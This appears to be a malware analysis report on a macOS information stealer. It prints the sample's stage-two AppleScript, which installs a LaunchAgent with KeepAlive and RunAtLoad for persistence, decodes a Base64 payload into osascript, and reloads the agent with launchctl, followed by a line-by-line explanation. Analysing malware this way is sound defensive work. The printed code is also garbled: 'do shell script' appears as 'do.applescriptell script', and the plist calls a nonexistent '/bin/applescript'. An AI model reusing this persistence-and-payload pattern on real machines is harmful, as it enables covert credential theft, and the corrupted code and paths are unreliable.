← Reports

InfoStealer · Dropper

Essential macOS Stealer - script.sh

Author
Moise Medici
Updated
10 Sept 2026 · Completed
Difficulty
Easy
Platform
MacOS
Capabilities
Command and Control C2 CommunicationCommand Execution via Powershell Cmd BashCredential TheftData-ExfiltrationDropping Secondary Payloads
Tags
bashAppleScriptEssential macOS Stealer

Stage2 Code Analysis

The content of stage2.applescript is:

stage2.applescript
do.applescriptell script "
SCRIPT_PATH=\"$HOME/Library/guqtsajmydvdqbwg\";
mkdir -p \"$HOME/Library/LaunchAgents\";
cat > \"$HOME/Library/LaunchAgents/com.guqtsajmydvdqbwg.plist\" <<END_PLIST
<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<!DOCTYPE plist PUBLIC \"-//Apple Computer//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">
<plist version=\"1.0\">
<dict>
<key>Label</key>
<string>com.guqtsajmydvdqbwg</string>
<key>KeepAlive</key>
<true/>
<key>RunAtLoad</key>
<true/>
<key>ProgramArguments</key>
<array>
<string>/bin/applescript</string>
<string>-c</string>
<string>echo '<large string>' | base64 -d | osascript</string>
</array>
</dict>
</plist>
END_PLIST
"
do.applescriptell script "launchctl unload ~/Library/LaunchAgents/com.guqtsajmydvdqbwg.plist 2>/dev/null"
do.applescriptell script "launchctl load ~/Library/LaunchAgents/com.guqtsajmydvdqbwg.plist"

Four things stand out:

  1. At line 4, a new “app” is created, and its contents run from line 4 through line 23, between the two END_PLIST delimiters.
  2. At lines 11 and 13, the KeepAlive and RunAtLoad parameters are specified to make the task restart if it fails and execute at logon, respectively. This provides persistence on macOS.
  3. At line 19, another long Base64 string is decoded and executed with osascript.
  4. At lines 25 and 26, the app is re-registered: it is unloaded first and then loaded. This likely replaces an older version if the device is already infected.

LaunchAgents is similar to Windows Task Scheduler. It executes apps registered in ~/Library/LaunchAgents; because the directory is in the user’s home folder, those agents are user-specific.

The block of code at line 19 can be decoded with:

echo "<long string>==" | base64 -d > stage3.applescript